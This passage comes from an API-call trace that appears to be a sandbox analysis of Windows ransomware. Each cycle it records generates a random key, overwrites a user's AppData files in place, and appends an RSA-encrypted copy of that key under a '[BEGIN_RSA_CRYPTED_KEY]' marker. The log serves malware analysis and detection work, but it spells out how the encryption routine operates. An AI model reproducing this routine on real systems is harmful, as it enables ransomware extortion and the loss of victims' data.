pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.006] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.006] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e008, pcchString=0x2e3f9a8 | out: pszString="3m3P0XDZxykrnjBqisJOq7+0JB8K03F9/sjYz7oQhgpmwEFCjdx3y4RkIe+IKenC\nsi8jeec7z+JUr5UHRGmQueafIQH77cGKtHFbC3M1FUWYNMPpyqEdYgXyq9KwMPCB\nQqlHdL2GDpdRkWUuLUy5/ONoKVGz3zdbRg5SKKX+2DejEYeL6Lg8lTkUx9O6WECx\n1ZKaGFIwRLljJ/DbxHp+UepnfRaTjcCg0kQQ4djPtdWsERCWVjJc2hqgzy6PZyeW\n7Q5aP26SekKK8eDKdyTKIuIkOladss7OYMQKabYNdTBb44IXcxVB4+2smxUdvb3W\nyrJayRSNSY4ccbAvYFU+fA==\n", pcchString=0x2e3f9a8) returned 1 [0212.006] WriteFile (in: hFile=0x1830, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.007] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.007] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.007] CloseHandle (hObject=0x1830) returned 1 [0212.010] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\54827e92-1c6c-4ea8-bb11-3b3464cf22fc.up_meta", dwFileAttributes=0x80) returned 1 [0212.010] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0212.011] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.011] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0212.012] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0212.012] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.012] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.013] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.013] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e008, pcchString=0x2e3f9a8 | out: pszString="2OVhS5HbmbZ7SGgIGxvRyEDDDgHlmIduWHtKRUtGvCjPMTe9TyZcRSAiamctFle+\nDPSs9+XWhIkIPcqvnfq07DSqqtxNC4TTZLut45P5sVWhtgzXvJEdpsh+RXcqD4YF\nGKkwk9ZOD3SotRvQK9vN5D9HqWB0A9zqTrhfFK1wfQjVJ0YZyaEn/8cWB+G3Uule\np0ZOe27OTadiwxHEs6R4W6AfzcoOJhC4dhB1BCNvaNoGHTZtH9BLEidjdj5Pi4Ch\nS2mkjjXbCE7J3nXweFUDJ9e27XwY7DR+L34EvzcHLODv6my5VYDp/iET6EPJjiUA\ncoiGInkecB3zFIanwFfEfQ==\n", pcchString=0x2e3f9a8) returned 1 [0212.013] WriteFile (in: hFile=0x1830, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.015] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.015] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.015] CloseHandle (hObject=0x1830) returned 1 [0212.017] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.017] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\54827e92-1c6c-4ea8-bb11-3b3464cf22fc.f34c1ab6-a087-4cf4-b1cf-aeb88de449b7.down_meta", dwFileAttributes=0x80) returned 1 [0212.018] ReadFile (in: hFile=0x1830, lpBuffer=0x313e008, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0212.139] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.139] WriteFile (in: hFile=0x1830, lpBuffer=0x313e5d0*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e5d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0212.139] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c0 [0212.139] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.139] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.140] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.140] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e008, pcchString=0x2e3f9a8 | out: pszString="Oz6XEia75MQ6hmvw3/jXxeHfgLszBwOGukV2yxx0W5KAb8f0aifHk1qToEu4T3+n\nXGzHg87FrxyK72I+UbkyH9EQCmvbDm3EhVXkILShoJsH2Q2N6Fl6PKRYLJIKqjNE\nuXZcKXEn+IrARUDAwbwYeTGUJWg0GttPYC5OaCGCkqNyun9G8qn/Whr+44GaNr/C\nQYPzNeOJOq0JkfFMatlZpM/m/x7NQJv4Xbc7AngY6n3VFACrA6Pqn1Oo/bveu0ab\nm5zNQDLPm40imzRz14l9gBN/fUbkMQxremDY2bAdSHC1ZAhmNgOtUn0KfVaK0qrZ\nkZjpoVKfr37Q2OzQdyKJFA==\n", pcchString=0x2e3f9a8) returned 1 [0212.140] WriteFile (in: hFile=0x1830, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.141] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.141] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.141] CloseHandle (hObject=0x1830) returned 1 [0212.224] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.224] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\51c9ae83-742b-4318-a848-5026dfe89646.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.225] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.225] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.225] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.225] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.225] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.225] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.226] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.226] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.226] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.226] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb50, pcchString=0x2e3f9a8 | out: pszString="L8iIVglhoxGVNvOWvCEK8va5Qnhzjsg1zvgyX+R0ihbvPV40TbfWUY8r4Klc+hXm\nDEHrlCWMNIJVBGxL1c0LgBCkSYxMMpyY/ciMZA6ccMq1QPVmRhFU6z1OMRoO42XG\n0VEgRnNgfFxflbdo/C/BcVB0wfCsO9RZFGPBVYMVm5TUKgMFVURzQHJT0UrKLMH5\n34y/OpEjZI2kztO+SUSOfB3TZWukGfZt2wC+dD+biHVhDjPe+7AY8A0SsCeV/b1l\nif8eCz+Ge89Tk9kS0JlGIp7H4Upso7/M85P10r9PVgOFJBrEUkWzSxqzsHocaQ0J\nRblFzzGxYqvi6Y3+ukEpBg==\n", pcchString=0x2e3f9a8) returned 1 [0212.226] WriteFile (in: hFile=0x1830, lpBuffer=0x66eb50*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.227] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.227] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.227] CloseHandle (hObject=0x1830) returned 1 [0212.229] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.229] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\512a7fe4-25ff-44ca-afb0-208983aaff3a.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.229] ReadFile (in: hFile=0x1830, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.229] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.229] WriteFile (in: hFile=0x1830, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.229] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.229] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.229] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.231] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.231] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.231] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.231] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e9f8, pcchString=0x2e3f9a8 | out: pszString="Gz6w+4TdaILWn9216o+iI2clET8tkGiKV0eQrmxucwLu3xixhL4S97juPNuRNKeW\n9MPJuSDTeiaxi3PRwnOkjgjzZGZbrwT8NcgZ0mUTBEV+2h2gOfcyqQcFyCv20FXT\nCgCqCfR8BRbFxwKKEuam05NHTtlINP4kot/kcp3G7tV9mpmJMMlxkuOhWmnCebHL\n9Hs/zu1AVOCjF0mc41HlX43q0ve7pbRBb4ws5lvnViVVM07GHWil/TyQVhULYm/J\nhrS41L4Z78L5z6m1yKTwgCf7rj95jHm2voG/U4Si2tAzIelRAyu3i2FNxk2N5vq7\nRnY81treYLkPPgAXBtPwLA==\n", pcchString=0x2e3f9a8) returned 1 [0212.231] WriteFile (in: hFile=0x1830, lpBuffer=0x66e9f8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e9f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.232] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.232] CloseHandle (hObject=0x1830) returned 1 [0212.234] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\43674263-b767-4618-ab3f-0fd0619824dc.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.234] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.234] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.234] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.234] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.234] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.236] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.236] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e8a0, pcchString=0x2e3f9a8 | out: pszString="JxZDg0owUS0lhBRkKtfVYCCIrwnygTglZ+HYb4Pmf9NkqeA9n3P7PaVEXlpbBxi4\n36K1lOQbSUjW+4ho+X+iU2hCYQvQE3NrAdq++iKrBsszMt1f5sr6uUTisHxCepZp\nflFN/H80rBD/mr+PC2iRARgnBVg4TpEwUkXnTOVngvWgFRfYg/SlAnJ7fOTBi6Gz\nM45dXM/15McuHFevSdI8XBz10E2S2cbfHVKgvgVek0RO5svn/SOxoK5JHPv1edXP\nZiGox9zn+B2teO76ZwEAV7rw7NDvAGHQC+DJaRFqPriq5Y3xr9I3nj+Hz3e3an/E\nkaynTjjUyBqvQ3lp4giUVA==\n", pcchString=0x2e3f9a8) returned 1 [0212.236] WriteFile (in: hFile=0x1830, lpBuffer=0x66e8a0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e8a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.237] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.237] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.237] CloseHandle (hObject=0x1830) returned 1 [0212.239] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.239] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\364feb5b-d4ef-4192-b8de-cb11ed31a7ef.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.239] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.239] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.239] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.239] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.239] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.239] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e748, pcchString=0x2e3f9a8 | out: pszString="yvCiaC8lMiFXDbZTZPu4/tP8OrfwRhaYo69SKy7XBtjDEuvgms2fUvh0uFpJ/Hk/\nM/ivK15AlLeE/tLMkOnmi1B5n01s4Y/cruZFeRr8N6edzkByWPdZWa9KvzZ6G7aM\nPXDBkXlrCtn/7oxSRyC7Zo5dbOfOfC9RPUMU5CrXKe2Df9ae3QXMqxypGPcE4QH1\nPWP2ewLE9eUiH9n6vTyUrmn/iMxnBgZ04+tpYRncSKmyMSyefoqN45crPKazHjxE\n0Vu2884NF3XmJbw/4np5+0rb/BSMADIJQwO4Ns6CVD4AvD2XZRDU0OzKQOW3qyWb\nCYJ6mBq6eeg0rWVYbA47YA==\n", pcchString=0x2e3f9a8) returned 1 [0212.241] WriteFile (in: hFile=0x1830, lpBuffer=0x66e748*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e748*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.241] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.242] CloseHandle (hObject=0x1830) returned 1 [0212.243] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.243] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\364feb5b-d4ef-4192-b8de-cb11ed31a7ef.up_meta", dwFileAttributes=0x80) returned 1 [0212.244] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0212.245] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.245] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0212.245] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0212.245] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.245] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.246] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.246] CryptEncrypt (in: 